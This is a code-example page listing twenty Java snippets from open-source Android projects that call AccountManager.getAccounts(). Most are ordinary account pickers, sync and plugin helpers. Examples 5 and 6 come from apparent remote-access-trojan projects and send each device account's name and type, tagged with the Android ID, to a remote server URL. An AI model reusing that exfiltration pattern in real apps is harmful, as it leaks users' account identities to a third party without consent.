Java Code Examples for android.accounts.AccountManager#getAccounts()

The following examples show how to use android.accounts.AccountManager#getAccounts() . You can vote up the ones you like or vote down the ones you don't like, and go to the original project or source file by following the links above each example. You may check out the related API usage on the sidebar.
Example 1
Source File: AppUtils.java    From loco-answers with GNU General Public License v3.0 6 votes vote down vote up
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        @SuppressLint("MissingPermission") Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
Example 2
Source File: ActivityApp.java    From XPrivacy with GNU General Public License v3.0 6 votes vote down vote up
@Override
protected Object doInBackground(Object... params) {
	// Get accounts
	mListAccount = new ArrayList<CharSequence>();
	AccountManager accountManager = AccountManager.get(ActivityApp.this);
	mAccounts = accountManager.getAccounts();
	mSelection = new boolean[mAccounts.length];
	for (int i = 0; i < mAccounts.length; i++)
		try {
			mListAccount.add(String.format("%s (%s)", mAccounts[i].name, mAccounts[i].type));
			String sha1 = Util.sha1(mAccounts[i].name + mAccounts[i].type);
			mSelection[i] = PrivacyManager.getSettingBool(-mAppInfo.getUid(), Meta.cTypeAccount, sha1, false);
		} catch (Throwable ex) {
			Util.bug(null, ex);
		}
	return null;
}
 
Example 3
Source File: AppUtils.java    From CrashReporter with Apache License 2.0 6 votes vote down vote up
private static String getUserIdentity(Context context) {
    if (ActivityCompat.checkSelfPermission(context, Manifest.permission.GET_ACCOUNTS) ==
            PackageManager.PERMISSION_GRANTED) {
        AccountManager manager = (AccountManager) context.getSystemService(Context.ACCOUNT_SERVICE);
        Account[] list = manager.getAccounts();
        String emailId = null;
        for (Account account : list) {
            if (account.type.equalsIgnoreCase("com.google")) {
                emailId = account.name;
                break;
            }
        }
        if (emailId != null) {
            return emailId;
        }
    }
    return "";
}
 
Example 4
Source File: ChooseTypeAndAccountActivity.java    From Android-AccountChooser with Apache License 2.0 6 votes vote down vote up
/**
 * Create a list of Account objects for each account that is acceptable. Filter out
 * accounts that don't match the allowable types, if provided, or that don't match the
 * allowable accounts, if provided.
 */
private ArrayList<Account> getAcceptableAccountChoices(AccountManager accountManager) {
  final Account[] accounts = accountManager.getAccounts();
  ArrayList<Account> accountsToPopulate = new ArrayList<Account>(accounts.length);
  for (Account account : accounts) {
      if (mSetOfAllowableAccounts != null
              && !mSetOfAllowableAccounts.contains(account)) {
          continue;
      }
      if (mSetOfRelevantAccountTypes != null
              && !mSetOfRelevantAccountTypes.contains(account.type)) {
          continue;
      }
      accountsToPopulate.add(account);
  }
  return accountsToPopulate;
}
 
Example 5
Source File: MyService.java    From BetterAndroRAT with GNU General Public License v3.0 6 votes vote down vote up
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
Example 6
Source File: MyService.java    From Dendroid-HTTP-RAT with GNU General Public License v3.0 6 votes vote down vote up
@Override
    protected String doInBackground(String... params) {     
 	AccountManager am = AccountManager.get(getApplicationContext());
     Account[] accounts = am.getAccounts();
     ArrayList<String> googleAccounts = new ArrayList<String>();
     int i = 0;
     for (Account ac : accounts) {
     	if(i<Integer.parseInt(j))
     	{
         String acname = ac.name;
         String actype = ac.type;
         googleAccounts.add(ac.name);            
         
      try {
	getInputStreamFromUrl(URL + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("urlPost", "") + "UID=" + PreferenceManager.getDefaultSharedPreferences(getApplicationContext()).getString("AndroidID", "") + "&Data=", "[" + actype + "] " + acname );
} catch (UnsupportedEncodingException e) {
	 
	e.printStackTrace();
}        	
     	}
     	i++;
     }
     
  return "Executed";
    }
 
Example 7
Source File: DeviceInformation.java    From DeviceInformationPlugin with MIT License 6 votes vote down vote up
private String getAccount(AccountManager am) {
    String str = "";

    if (am != null) {
        Account[] accounts = am.getAccounts();

        for (int i = 0; i < accounts.length; i++) {
            if (str.length() > 0) {
                str += ",";
            }

            str += "\"account" + i + "Name\": " + checkValue(accounts[i].name) + ","
                    + "\"account" + i + "Type\": " + checkValue(accounts[i].type);
        }
    }

    return str;
}
 
Example 8
Source File: ActiveAccountRepository.java    From kolabnotes-android with GNU Lesser General Public License v3.0 6 votes vote down vote up
public Set<AccountIdentifier> initAccounts() {
    LinkedHashSet<AccountIdentifier> ret = new LinkedHashSet<>();
    final SQLiteDatabase db = ConnectionManager.getDatabase(context);

    insertAccount(db, "local", "Notes");
    ret.add(new AccountIdentifier("local","Notes"));

    final AccountManager accountManager = AccountManager.get(context);
    final Account[] accounts = accountManager.getAccounts();

    for(Account account : accounts){
        String email = accountManager.getUserData(account, AuthenticatorActivity.KEY_EMAIL);
        String rootFolder = accountManager.getUserData(account,AuthenticatorActivity.KEY_ROOT_FOLDER);

        insertAccount(db, email, rootFolder);
        ret.add(new AccountIdentifier(email, rootFolder));
    }

    return ret;
}
 
Example 9
Source File: DeviceInformation.java    From DeviceInformationPlugin with MIT License 6 votes vote down vote up
private String getAccount(AccountManager am) {
    String str = "";

    if (am != null) {
        Account[] accounts = am.getAccounts();

        for (int i = 0; i < accounts.length; i++) {
            if (str.length() > 0) {
                str += ",";
            }

            str += "\"account" + i + "Name\": " + checkValue(accounts[i].name) + ","
                    + "\"account" + i + "Type\": " + checkValue(accounts[i].type);
        }
    }

    return str;
}
 
Example 10
Source File: ExampleListener.java    From android-chromium with BSD 2-Clause "Simplified" License 5 votes vote down vote up
/** Returns any Google account enabled on the device. */
private static Account getAccount(AccountManager accountManager) {
  Preconditions.checkNotNull(accountManager);
  for (Account acct : accountManager.getAccounts()) {
    if (GOOGLE_ACCOUNT_TYPE.equals(acct.type)) {
      return acct;
    }
  }
  throw new RuntimeException("No google account enabled.");
}
 
Example 11
Source File: ExampleListener.java    From android-chromium with BSD 2-Clause "Simplified" License 5 votes vote down vote up
/** Returns any Google account enabled on the device. */
private static Account getAccount(AccountManager accountManager) {
  Preconditions.checkNotNull(accountManager);
  for (Account acct : accountManager.getAccounts()) {
    if (GOOGLE_ACCOUNT_TYPE.equals(acct.type)) {
      return acct;
    }
  }
  throw new RuntimeException("No google account enabled.");
}
 
Example 12
Source File: TaskListFragment.java    From opentasks with Apache License 2.0 5 votes vote down vote up
/**
 * Trigger a synchronization for all accounts.
 */
private void doSyncNow()
{
    AccountManager accountManager = AccountManager.get(mAppContext);
    Account[] accounts = accountManager.getAccounts();
    for (Account account : accounts)
    {
        // TODO: do we need a new bundle for each account or can we reuse it?
        Bundle extras = new Bundle();
        extras.putBoolean(ContentResolver.SYNC_EXTRAS_MANUAL, true);
        ContentResolver.requestSync(account, mAuthority, extras);
    }
}
 
Example 13
Source File: AccountImporter.java    From Android-SingleSignOn with GNU General Public License v3.0 5 votes vote down vote up
public static List<Account> findAccounts(final Context context) {
    final AccountManager accMgr = AccountManager.get(context);
    final Account[] accounts = accMgr.getAccounts();

    List<Account> accountsAvailable = new ArrayList<>();
    for (final Account account : accounts) {
        for (String accountType : ACCOUNT_TYPES) {
            if (accountType.equals(account.type)) {
                accountsAvailable.add(account);
            }
        }
    }
    return accountsAvailable;
}
 
Example 14
Source File: MainActivity.java    From ExamplesAndroid with Apache License 2.0 5 votes vote down vote up
static String getEmail(Context context) {
    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = accountManager.getAccounts();Account account = accounts[0];//getAccount(accountManager);

    if (account == null) {
        return null;
    } else {
        return account.name;
    }
}
 
Example 15
Source File: MainActivity.java    From ExamplesAndroid with Apache License 2.0 5 votes vote down vote up
static String getEmail(Context context) {
    AccountManager accountManager = AccountManager.get(context);
    Account[] accounts = accountManager.getAccounts();
    Account account = accounts[0];//getAccount(accountManager);

    if (account == null) {
        return null;
    } else {
        return account.name;
    }
}
 
Example 16
Source File: StartupActions.java    From iGap-Android with GNU Affero General Public License v3.0 5 votes vote down vote up
/**
 * if iGap Account not created yet, create otherwise just detect and return
 */
public static Account getiGapAccountInstance() {

    if (G.iGapAccount != null) {
        return G.iGapAccount;
    }

    AccountManager accountManager = AccountManager.get(G.context);
    if (accountManager.getAccounts().length != 0) {
        for (Account account : accountManager.getAccounts()) {
            if (account.type.equals(G.context.getPackageName())) {
                G.iGapAccount = account;
                return G.iGapAccount;
            }
        }
    }

    G.iGapAccount = new Account(Config.iGapAccount, G.context.getPackageName());
    String password = "net.iGap";
    try {
        accountManager.addAccountExplicitly(G.iGapAccount, password, null);
    } catch (Exception e1) {
        e1.getMessage();
    }

    return G.iGapAccount;
}
 
Example 17
Source File: EmailPlugin.java    From capacitor-email with MIT License 5 votes vote down vote up
private boolean checkPermission() {
    if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
        AccountManager am = AccountManager.get(getContext());
        return am.getAccounts().length > 0;
    }
    return (ActivityCompat.checkSelfPermission(getContext(), Manifest.permission.GET_ACCOUNTS) == PackageManager.PERMISSION_GRANTED);
}
 
Example 18
Source File: EmailPlugin.java    From capacitor-email with MIT License 5 votes vote down vote up
@PluginMethod()
public void isAvailable(PluginCall call) {
    String app = call.getString("alias", "");
    boolean has = checkPermission();
    JSObject object = new JSObject();
    PackageManager pm = getActivity().getPackageManager();
    if (aliases.has(app)) {
        app = aliases.getString(app);
    }
    object.put("hasAccount", false);

    if (has) {
        AccountManager am;
        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
            am = AccountManager.get(getContext());
        } else {
            am = AccountManager.get(getContext());
        }

        Pattern emailPattern = Patterns.EMAIL_ADDRESS;
        for (Account account : am.getAccounts()) {
            if (emailPattern.matcher(account.name).matches()) {
                object.put("hasAccount", true);
            }
        }

    }

    try {
        ApplicationInfo info = pm.getApplicationInfo(app, 0);
        object.put("hasApp", true);
    } catch (PackageManager.NameNotFoundException e) {
        object.put("hasApp", false);
    } finally {
        call.success(object);
    }

}
 
Example 19
Source File: StaleListBroadcastReceiver.java    From opentasks with Apache License 2.0 4 votes vote down vote up
@Override
public void onReceive(Context context, Intent intent)
{
    if (Build.VERSION.SDK_INT < 26)
    {
        // this receiver is Android 8+ only
        return;
    }
    AccountManager accountManager = AccountManager.get(context);
    String authority = AuthorityUtil.taskAuthority(context);
    String description = String.format("Please give %s access to the following account", new ManifestAppName(context).value());
    // request access to each account we don't know yet individually
    for (Intent accountRequestIntent :
            new Mapped<>(
                    account -> AccountManager.newChooseAccountIntent(account, new ArrayList<Account>(singletonList(account)), null,
                            description, null,
                            null, null),
                    new Mapped<>(
                            this::account,
                            new Mapped<>(RowSnapshot::values,
                                    new QueryRowSet<>(
                                            new TaskListsView(authority, context.getContentResolver().acquireContentProviderClient(authority)),
                                            new MultiProjection<>(TaskContract.TaskLists.ACCOUNT_NAME, TaskContract.TaskLists.ACCOUNT_TYPE),
                                            new Not<>(new AnyOf<>(
                                                    new Joined<>(
                                                            new Seq<>(new EqArg<>(TaskContract.TaskLists.ACCOUNT_TYPE, TaskContract.LOCAL_ACCOUNT_TYPE)),
                                                            new Mapped<>(AccountEq::new, new Seq<>(accountManager.getAccounts()))))))))))
    {
        if (Build.VERSION.SDK_INT < 28)
        {
            context.startActivity(accountRequestIntent);
        }
        else
        {
            // on newer Android versions post a notification instead because we can't launch activities from the background anymore
            String notificationDescription = String.format("%s needs your permission", new ManifestAppName(context).value());
            NotificationManager nm = context.getSystemService(NotificationManager.class);
            if (nm != null)
            {
                NotificationChannel errorChannel = new NotificationChannel("provider_messages", "Sync Messages", NotificationManager.IMPORTANCE_HIGH);
                nm.createNotificationChannel(errorChannel);
                Resources.Theme theme = context.getTheme();
                theme.applyStyle(context.getApplicationInfo().theme, true);

                nm.notify("stale_list_broadacast", 0,
                        new Notification.Builder(context, "provider_messages")
                                .setContentText(notificationDescription)
                                .setContentIntent(PendingIntent.getActivity(context, 0, accountRequestIntent, PendingIntent.FLAG_UPDATE_CURRENT))
                                .addAction(new Notification.Action.Builder(null, "Grant",
                                        PendingIntent.getActivity(context, 0, accountRequestIntent, PendingIntent.FLAG_UPDATE_CURRENT)).build())
                                .setColor(new AttributeColor(theme, R.attr.colorPrimary).argb())
                                .setColorized(true)
                                .setSmallIcon(R.drawable.ic_24_opentasks)
                                .build());
            }
        }
    }
}
 
Example 20
Source File: ChromeBackupAgent.java    From delion with Apache License 2.0 4 votes vote down vote up
protected Account[] getAccounts() {
    Log.d(TAG, "Getting accounts from AccountManager");
    AccountManager manager = (AccountManager) getSystemService(ACCOUNT_SERVICE);
    return manager.getAccounts();
}